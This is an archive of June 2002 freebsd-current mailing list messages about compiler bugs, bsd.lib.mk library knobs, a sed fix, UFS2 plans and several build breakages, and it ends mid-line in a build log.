Message-ID: <20020621133654.E68827@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
References: <20020621154758.F550-100000@levais.imp.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020621154758.F550-100000@levais.imp.ch>; from mb@imp.ch on Fri, Jun 21, 2002 at 04:35:47PM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 04:35:47PM +0200, Martin Blapp wrote:
> 
> I still wonder why we make workarounds like this if one could just
> use /usr/local/bin/gcc31 to have it fixed.
> 
> Why mess around with a buggy compiler if a working one is around ?
> Why don't we update the pre 3.1 gcc in CURRENT to a working one ?

You are free to do so.  I won't stop you.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 13:43: 7 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id 5712137B403
	for <freebsd-current@FreeBSD.ORG>; Fri, 21 Jun 2002 13:43:02 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5LKh1P8076549;
	Fri, 21 Jun 2002 13:43:01 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5LKh15W076548;
	Fri, 21 Jun 2002 13:43:01 -0700 (PDT)
Date: Fri, 21 Jun 2002 13:43:01 -0700
From: "David O'Brien" <obrien@FreeBSD.ORG>
To: ir@hotbox.ru
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: error in ncurses in 'make buildworld'
Message-ID: <20020621134301.F68827@dragon.nuxi.com>
Reply-To: obrien@FreeBSD.ORG
References: <20020619163321.A48809@dragon.nuxi.com> <20020620074657.11859.qmail@web14108.mail.yahoo.com> <20020620092649.GA10310@sysadm.stc> <20020620101611.B55653@dragon.nuxi.com> <20020621071139.GA20615@sysadm.stc>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020621071139.GA20615@sysadm.stc>; from igorr@sysadm.stc on Fri, Jun 21, 2002 at 11:11:39AM +0400
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 11:11:39AM +0400, Igor Roboul wrote:
> igorr@sysadm~> gcc -Wall qq.c
> qq.c: In function `main':
> qq.c:16: warning: float format, double arg (arg 3) <--- I have expected this
> igorr@sysadm~> ./a.out 123
> 123.000000
> 0.124861
> 0.0<4861	<--- Pay attention 
> 123

I don't get the same results with a system built today.

$ cc -v
..snip..
gcc version 3.1 [FreeBSD] 20020509 (prerelease)
$ cc -Wall qq.c 
qq.c: In function `main':
qq.c:16: warning: float format, double arg (arg 3)
$ ./a.out  123
123.000000
123.000000
123.000016
123

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 14:46:47 2002
Delivered-To: freebsd-current@freebsd.org
Received: from corbulon.video-collage.com (corbulon.video-collage.com [64.35.99.179])
	by hub.freebsd.org (Postfix) with ESMTP
	id 7967337B412; Fri, 21 Jun 2002 14:46:41 -0700 (PDT)
Received: from misha (250-217.customer.cloud9.net [168.100.250.217])
	by corbulon.video-collage.com (8.12.2/8.12.2) with ESMTP id g5LLkYQC065967
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Fri, 21 Jun 2002 17:46:36 -0400 (EDT)
	(envelope-from mi+mx@aldan.algebra.com)
X-Authentication-Warning: corbulon.video-collage.com: Host 250-217.customer.cloud9.net [168.100.250.217] claimed to be misha
Content-Type: text/plain;
  charset="koi8-u"
From: Mikhail Teterin <mi+mx@aldan.algebra.com>
Organization: Virtual Estates, Inc.
To: current@FreeBSD.org, "David O'Brien" <dev-null@NUXI.com>
Subject: Re: recent bsd.lib.mk changes
Date: Fri, 21 Jun 2002 17:46:17 -0400
X-Mailer: KMail [version 1.4]
Cc: ru@FreeBSD.org
References: <200206211429.33406.mi+mx@aldan.algebra.com> <20020621132839.A68827@dragon.nuxi.com>
In-Reply-To: <20020621132839.A68827@dragon.nuxi.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <200206211746.17877.mi+mx@aldan.algebra.com>
X-Scanned-By: MIMEDefang 2.15 (www dot roaringpenguin dot com slash mimedefang)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Friday 21 June 2002 04:28 pm, David O'Brien wrote:
= On Fri, Jun 21, 2002 at 02:29:33PM -0400, Mikhail Teterin wrote:
= > I used to define INTERNALLIB to avoid building and installing the
= > static version, but that is now almost reversed -- only the static
= > will be built and nothing will be installed.
=
= The old INTERNALLIB knob was confusion and not really used. An
= internal lib is a static lib we create during `make world' because it
= reduces compile times (ie, code that is shared).
=
= I can think of very few reasons to build a .so, but not a .a. Some
= people do like to build static binaries.

And some people are the opposite. However, for loadable (as in dlopen(3))
plugins, suchs Tcl modules the static libraries are useless at best.

Why can't we have some way to explicitly list what is and what is not
needed?

= > Can the future modifications in the share/mk be, please, tested with
= > ports as well as src builds? Thanks!
=
= src/share/mk is for /usr/src.  If /usr/ports can use the bits, that is
= nice.  If not ports/Mk/bsd.FOO.mk should be created and used.

By this logic, we don't need to install the bsd.*.mk files at all... I,
however, disagree. I think they are a great development tool, and have
served pretty good so far -- until the very recent and unfortunately
incompatible modifications.

Note, that they are not even called freebsd.*.mk -- to me, the names
implies they are (more or less) consistens among all of the BSDs :-)

-- 
	ëÁË, ÷Ù ÒÁÚ×Å ÂÅÚ ÛÐÁÇÉ ÐÒÉÛÌÉ?


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 14:49:10 2002
Delivered-To: freebsd-current@freebsd.org
Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12])
	by hub.freebsd.org (Postfix) with ESMTP
	id 8EE3637B408; Fri, 21 Jun 2002 14:49:05 -0700 (PDT)
Received: from pool0462.cvx21-bradley.dialup.earthlink.net ([209.179.193.207] helo=mindspring.com)
	by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17LWH9-0000NL-00; Fri, 21 Jun 2002 14:49:04 -0700
Message-ID: <3D139F29.63CD18AF@mindspring.com>
Date: Fri, 21 Jun 2002 14:48:25 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Maxime Henrion <mux@freebsd.org>
Cc: current@FreeBSD.org, hsu@FreeBSD.org
Subject: Re: fix for a bug that causes a panic in the udp_pcblist() sysctl
References: <20020621134239.GX85244@elvis.mu.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Maxime Henrion wrote:
> I just fixed a bug that has been hitting me everytime I do a sysctl -a
> since inp locking was committed.  I would like to commit it as soon as
> possible, so I'd like it if someone could review it.

Wow.  Good catch.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 15: 2:51 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 93A3C37B401; Fri, 21 Jun 2002 15:02:47 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5LM2gP8034675;
	Fri, 21 Jun 2002 15:02:42 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5LM2fg5034674;
	Fri, 21 Jun 2002 15:02:41 -0700 (PDT)
Date: Fri, 21 Jun 2002 15:02:41 -0700
From: "David O'Brien" <dev-null@NUXI.com>
To: Mikhail Teterin <mi+mx@aldan.algebra.com>
Cc: current@FreeBSD.org, "David O'Brien" <dev-null@NUXI.com>,
	ru@FreeBSD.org
Subject: Re: recent bsd.lib.mk changes
Message-ID: <20020621150241.A34548@dragon.nuxi.com>
Reply-To: current@FreeBSD.org
Mail-Followup-To: David O'Brien <dev-null@nuxi.com>,
	Mikhail Teterin <mi+mx@aldan.algebra.com>, current@FreeBSD.org,
	ru@FreeBSD.org
References: <200206211429.33406.mi+mx@aldan.algebra.com> <20020621132839.A68827@dragon.nuxi.com> <200206211746.17877.mi+mx@aldan.algebra.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200206211746.17877.mi+mx@aldan.algebra.com>; from mi+mx@aldan.algebra.com on Fri, Jun 21, 2002 at 05:46:17PM -0400
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 05:46:17PM -0400, Mikhail Teterin wrote:
> = I can think of very few reasons to build a .so, but not a .a. Some
> = people do like to build static binaries.
> 
> And some people are the opposite. However, for loadable (as in dlopen(3))
> plugins, suchs Tcl modules the static libraries are useless at best.

I said "few", not "none".


> Why can't we have some way to explicitly list what is and what is not
> needed?

Feel free to send a patch adding "ONLYSHAREDLIBS".  "INTERNALLIB" in no
logical way I can think of would lead someone to think that only shared
libs should be built and they should be installed.

 
> By this logic, we don't need to install the bsd.*.mk files at all...

If you want "cd /usr/src/bin/foo && make all install" to work, you need
to have the installed in /usr/share/mk.


> Note, that they are not even called freebsd.*.mk -- to me, the names
> implies they are (more or less) consistens among all of the BSDs :-)

They started life when there was but _1_ BSD and that one was from CSRG @
UCB.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 15: 9:37 2002
Delivered-To: freebsd-current@freebsd.org
Received: from creme-brulee.marcuscom.com (rdu57-17-158.nc.rr.com [66.57.17.158])
	by hub.freebsd.org (Postfix) with ESMTP id 1AB0237B401
	for <freebsd-current@FreeBSD.ORG>; Fri, 21 Jun 2002 15:07:13 -0700 (PDT)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.12.3/8.12.3) with ESMTP id g5LM4pB4058935;
	Fri, 21 Jun 2002 18:04:51 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
Subject: Re: The -current state of mozilla affairs
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: Alexander Kabaev <ak03@gte.com>
Cc: freebsd-current@FreeBSD.ORG, sean@chittenden.org
In-Reply-To: <20020621155921.79fc4c91.ak03@gte.com>
References: <3CFC588A.9070903@sbcglobal.net>
	<20020604134655.B62465@xor.obsecurity.org>
	<20020619183056.K31745@ninja1.internal>
	<1024539159.44782.21.camel@shumai.marcuscom.com>
	<20020619232135.D37593@ninja1.internal>
	<20020620102527.C55653@dragon.nuxi.com>
	<1024597364.329.26.camel@gyros.marcuscom.com> 
	<20020621155921.79fc4c91.ak03@gte.com>
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-TWub3A2AtF2O2bOY5iiZ"
X-Mailer: Ximian Evolution 1.0.7 
Date: 21 Jun 2002 18:07:50 -0400
Message-Id: <1024697270.58209.24.camel@shumai.marcuscom.com>
Mime-Version: 1.0
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--=-TWub3A2AtF2O2bOY5iiZ
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Fri, 2002-06-21 at 15:59, Alexander Kabaev wrote:
> Why not to use GCC version itself to distinguish between
> thunked/non-thunked vtable implementations?=20

The full comments in the header file illustrate why the Mozilla teamed
keyed off of the internal compiler revision.  Basically, almost all
ports-based compilers were thunked, and there was a short period of time
in early 4.0 when a thunked system GCC was in the tree.

Note, we are using the FreeBSD compiler revision, and not
__FreeBSD_version in this header.

Joe

>=20
> > > Please add a comment why you chose these __FreeBSD_cc_version
> > > values. What is special about 500003?  500003 is 5.0-CURRENT after
> > > buf/bio changes, *years* ago.  Perhaps you wanted another value from
> > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/fre=
ebsd-versions.html
> >=20
> > Fear not.  I'm modifying the patch.  Proper documentation will be
> > included.
> >=20
> > Joe
> --=20
> Alexander Kabaev
>=20


--=-TWub3A2AtF2O2bOY5iiZ
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iD8DBQA9E6O2b2iPiv4Uz4cRAlPOAKClYSZblefUJMygjce4i2eBZxl67wCfThuN
PYL5hWaMjpQ9AY164NJxFBY=
=PC4O
-----END PGP SIGNATURE-----

--=-TWub3A2AtF2O2bOY5iiZ--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 16:11:46 2002
Delivered-To: freebsd-current@freebsd.org
Received: from corbulon.video-collage.com (corbulon.video-collage.com [64.35.99.179])
	by hub.freebsd.org (Postfix) with ESMTP
	id 6EFC137B40A; Fri, 21 Jun 2002 16:11:39 -0700 (PDT)
Received: from misha (250-217.customer.cloud9.net [168.100.250.217])
	by corbulon.video-collage.com (8.12.2/8.12.2) with ESMTP id g5LNBVQC066708
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Fri, 21 Jun 2002 19:11:37 -0400 (EDT)
	(envelope-from mi+mx@aldan.algebra.com)
X-Authentication-Warning: corbulon.video-collage.com: Host 250-217.customer.cloud9.net [168.100.250.217] claimed to be misha
Content-Type: text/plain;
  charset="koi8-u"
From: Mikhail Teterin <mi+mx@aldan.algebra.com>
Organization: Virtual Estates, Inc.
To: current@FreeBSD.org, "David O'Brien" <dev-null@NUXI.com>
Subject: Re: recent bsd.lib.mk changes
Date: Fri, 21 Jun 2002 19:11:16 -0400
X-Mailer: KMail [version 1.4]
Cc: ru@FreeBSD.org
References: <200206211429.33406.mi+mx@aldan.algebra.com> <200206211746.17877.mi+mx@aldan.algebra.com> <20020621150241.A34548@dragon.nuxi.com>
In-Reply-To: <20020621150241.A34548@dragon.nuxi.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <200206211911.16083.mi+mx@aldan.algebra.com>
X-Scanned-By: MIMEDefang 2.15 (www dot roaringpenguin dot com slash mimedefang)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Friday 21 June 2002 06:02 pm, David O'Brien wrote:
= On Fri, Jun 21, 2002 at 05:46:17PM -0400, Mikhail Teterin wrote:

= > Why can't we have some way to explicitly list what is and what is not
= > needed?
=
= Feel free to send a patch adding "ONLYSHAREDLIBS".  "INTERNALLIB" in no
= logical way I can think of would lead someone to think that only shared
= libs should be built and they should be installed.

Here I agree completely. I have always been puzzled by the naming of this
knob. But it was the only way to achieve the goal. It is now a different
knob entirely -- but under the same name, which is quite confusing.

I am thinking, however, of something explicit like:

	WANT_SHARED_LIB	?=	yes
	WANT_STATIC_LIB ?=	yes
	WANT_PIC_LIB	?=	yes

with the existing NOPROFILE and others to remain as "compatibility"
interfaces for a while, for example:

	.ifndef WANT_PIC_LIB
	.ifndef NOPROFILE
	WANT_PIC_LIB	 =	yes
	.else
	WANT_PIC_LIB	 =	no
	.endif
	.endif

The last change broke not only some ports, but who knows how many
personal projects, which where doing the Right Thing (IMO) and used
the bsd.*.mk

I will not have time to make a patch in a while :-\, however...

Any way to determine quickly from inside the Makefile, which version
of the bsd.lib.mk is installed?

	-mi


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 19:11: 1 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dilbert.robbins.dropbear.id.au (179.d.001.mel.iprimus.net.au [203.134.132.179])
	by hub.freebsd.org (Postfix) with ESMTP id 998DC37B435
	for <current@FreeBSD.ORG>; Fri, 21 Jun 2002 19:10:44 -0700 (PDT)
Received: from dilbert.robbins.dropbear.id.au (tim@localhost [127.0.0.1])
	by dilbert.robbins.dropbear.id.au (8.12.3/8.12.3) with ESMTP id g5M2AIY2013244
	for <current@FreeBSD.ORG>; Sat, 22 Jun 2002 12:10:21 +1000 (EST)
	(envelope-from tim@dilbert.robbins.dropbear.id.au)
Received: (from tim@localhost)
	by dilbert.robbins.dropbear.id.au (8.12.3/8.12.3/Submit) id g5M292Td013238
	for current@FreeBSD.ORG; Sat, 22 Jun 2002 12:09:02 +1000 (EST)
Date: Sat, 22 Jun 2002 12:08:48 +1000
From: Tim Robbins <tjr@FreeBSD.ORG>
To: current@FreeBSD.ORG
Subject: Re: cvs commit: src/usr.bin/sed main.c process.c
Message-ID: <20020622120848.A13220@dilbert.robbins.dropbear.id.au>
References: <200206220142.g5M1gQR07165@freefall.freebsd.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200206220142.g5M1gQR07165@freefall.freebsd.org>; from tjr@FreeBSD.org on Fri, Jun 21, 2002 at 06:42:26PM -0700
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 06:42:26PM -0700, Tim J. Robbins wrote:

> tjr         2002/06/21 18:42:26 PDT
> 
>   Modified files:
>     usr.bin/sed          main.c process.c 
>   Log:
>   Don't store newlines at the end of each line in the hold/pattern spaces,
>   instead add the newline when the pattern space is printed. Make the `G' and
>   `H' commands add a newline to the space before the data, remove bogus
>   addition of newline from `x' command.
>   
>   PR:             29790, 38195
>   
>   Revision  Changes    Path
>   1.25      +2 -0      src/usr.bin/sed/main.c
>   1.21      +10 -11    src/usr.bin/sed/process.c

Please let me know if this breaks any (correct) existing scripts, especially
the fancy ones used by some of the GNU build tools.

The behaviour of everything but the G, H and x commands should be no
different than they were before the change. The G, H, x commands were
implemented incorrectly before this change, the behaviour now seems to
be consistent with Solaris, V7, POSIX and GNU.


Tim

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 19:24:21 2002
Delivered-To: freebsd-current@freebsd.org
Received: from fledge.watson.org (fledge.watson.org [204.156.12.50])
	by hub.freebsd.org (Postfix) with ESMTP
	id 4C83437B403; Fri, 21 Jun 2002 19:24:16 -0700 (PDT)
Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3])
	by fledge.watson.org (8.12.3/8.12.3) with SMTP id g5M2OE1t045140;
	Fri, 21 Jun 2002 22:24:15 -0400 (EDT)
	(envelope-from robert@fledge.watson.org)
Date: Fri, 21 Jun 2002 22:24:14 -0400 (EDT)
From: Robert Watson <rwatson@FreeBSD.org>
X-Sender: robert@fledge.watson.org
To: "Greg 'groggy' Lehey" <grog@FreeBSD.org>
Cc: Poul-Henning Kamp <phk@FreeBSD.org>, current@FreeBSD.org
Subject: Re: HEADSUP:  UFS2 patch coming...
In-Reply-To: <20020620015236.GF23122@wantadilla.lemis.com>
Message-ID: <Pine.NEB.3.96L.1020621222235.40109B-100000@fledge.watson.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


On Thu, 20 Jun 2002, Greg 'groggy' Lehey wrote:

> On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
> >
> > Kirk is loading and aiming is committatron with the UFS2 patch,
> > expect to see it hit -current any day soon.
> 
> Any details of what it will contain?

Per previous e-mails to -current and -arch, this first stage of the
process essentially consists of rolling the on-disk inode format to
include 64-bit pointers, extent information, and extended attribute
information.  Almost every other change in there is to support the UFS1/2
split, and moving to the larger sizes.  The actual EA implementation,
extent behavior, etc, will not operate until future commits are in the
tree.

Robert N M Watson             FreeBSD Core Team, TrustedBSD Projects
robert@fledge.watson.org      Network Associates Laboratories



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 19:29:37 2002
Delivered-To: freebsd-current@freebsd.org
Received: from yeoman.sinbad.net (yeoman.sinbad.net [12.17.176.5])
	by hub.freebsd.org (Postfix) with ESMTP
	id 2B8E637B40E; Fri, 21 Jun 2002 19:29:30 -0700 (PDT)
Received: from there (95-7-237-24-cable.anchorageak.net [24.237.7.95])
	by yeoman.sinbad.net (Postfix) with SMTP
	id 4E8CC20C65; Fri, 21 Jun 2002 18:29:23 -0800 (AKDT)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Beech Rintoul <akbeech@sinbad.net>
Reply-To: akbeech@sinbad.net
To: obrien@FreeBSD.org, Beech Rintoul <akbeech@sinbad.net>
Subject: Re: MySQL 3.23.51 Error
Date: Fri, 21 Jun 2002 18:29:22 -0800
X-Mailer: KMail [version 1.3]
Cc: Dirk Froemberg <dirk@FreeBSD.org>, freebsd-current@FreeBSD.org
References: <20020620175423.4414377@nebula.anchoragerescue.org> <20020621154413.DBFE220AD3@yeoman.sinbad.net> <20020621132949.B68827@dragon.nuxi.com>
In-Reply-To: <20020621132949.B68827@dragon.nuxi.com>
Organization: Sinbad Network Communications
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20020622022923.4E8CC20C65@yeoman.sinbad.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Friday 21 June 2002 12:29 pm, David O'Brien wrote:
> On Fri, Jun 21, 2002 at 07:44:13AM -0800, Beech Rintoul wrote:
> > > > cc -DMYSQL_SERVER
>
> ....
>
> > > > -fno-rtti -DMYSQLD_NET_RETRY_COUNT=1000000 -c mysqld.cc
>
> It is wrong to compile C++ code with a plain C compiler.

Then the port is borked. I was using portupgrade with nothing but the -v 
(verbose) flag when I got that error.

Beech
-- 
-------------------------------------------------------------------
      Beech Rintoul - SysAdmin - akbeech@sinbad.net
/"\   ASCII Ribbon Campaign  | Sinbad Network Communications
\ / - NO HTML/RTF in e-mail  | 3101 Penland Parkway #K-38
 X  - NO Word docs in e-mail | Anchorage, AK 99508-1957
/ \ -----------------------------------------------------------------












To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 19:49:25 2002
Delivered-To: freebsd-current@freebsd.org
Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105])
	by hub.freebsd.org (Postfix) with ESMTP id B4AD437B409
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 19:49:21 -0700 (PDT)
Received: from troutmask.apl.washington.edu (localhost [127.0.0.1])
	by troutmask.apl.washington.edu (8.12.4/8.12.4) with ESMTP id g5M2nLBM042467
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 19:49:21 -0700 (PDT)
	(envelope-from kargl@troutmask.apl.washington.edu)
Received: (from kargl@localhost)
	by troutmask.apl.washington.edu (8.12.4/8.12.4/Submit) id g5M2nLSM042466
	for freebsd-current@freebsd.org; Fri, 21 Jun 2002 19:49:21 -0700 (PDT)
From: "Steven G. Kargl" <kargl@troutmask.apl.washington.edu>
Message-Id: <200206220249.g5M2nLSM042466@troutmask.apl.washington.edu>
Subject: binutils breaks world
To: freebsd-current@freebsd.org
Date: Fri, 21 Jun 2002 19:49:21 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL88 (25)]
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

This looks like a causality of David's removal of gdb.291.

-- 
Steve
http://troutmask.apl.washington.edu/~kargl/

makeinfo --no-validate -I /usr/src/gnu/usr.bin/binutils/doc/../../../../contrib/
binutils/gas/doc -I /usr/src/gnu/usr.bin/binutils/doc/../../../../contrib/binuti
